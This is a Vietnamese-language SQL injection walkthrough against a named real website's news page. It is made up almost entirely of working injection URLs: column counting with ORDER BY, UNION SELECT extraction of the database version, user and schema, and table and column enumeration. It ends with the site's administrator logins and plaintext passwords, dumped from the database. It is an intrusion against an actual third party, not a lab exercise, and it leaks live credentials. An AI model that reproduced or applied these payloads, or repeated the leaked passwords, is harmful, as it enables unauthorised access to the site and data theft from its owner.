SQLi by pass 403

http://www.ettu.org/news_view.php?id=2583'

Lổi

Warning: mysql_fetch_assoc(),Warning: mysql_fetch_array(),mysql_num_rows(),mysql error,mysql_query,mysql_fetch,mysql_connect

típ

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+3 <== No blank Page

típ

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+10 <== No blank Page

típ

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+16 <== No blank Page

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+17 <== Blank Page

Vậy web có 16 colums

đặt dấu - ở trước số id và dấu -- ở cuối

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

ta được :

2

4

cột 2 & 4 có thể sử dụng

lấy version tại cột 2

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

=>

5.1.37-1ubuntu5.5

get user() tại cột 2

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

=>

ettu_admin@localhost

get database()

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

ettu.org_ettu_db01

get table => group_concat(table_name) ở cột 2

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() -> show tất cả table ở database

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--

đổi table_name thành colum_name đề get colum

http://www.ettu.org/news_view.php?id=-2583+UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()--

show các colum name

http://www.ettu.org/news_view.php?id=-2583+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16++from+information_schema.columns+where+table_name=CHAR(48, 57, 49, 48, 101, 116, 116, 117, 99, 117, 112, 48, 49, 95, 97, 100, 109, 105, 110)

=>

id,login,password,stato,id_squ,girone,abilitato

đọc id pass administrator

http://www.ettu.org/news_view.php?id=-2583+union+select+1,group_concat(id,0x3a,login,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+0910ettucup01_admin--

1:adminvitesse:vitesse2006

2:admin:matchvitesse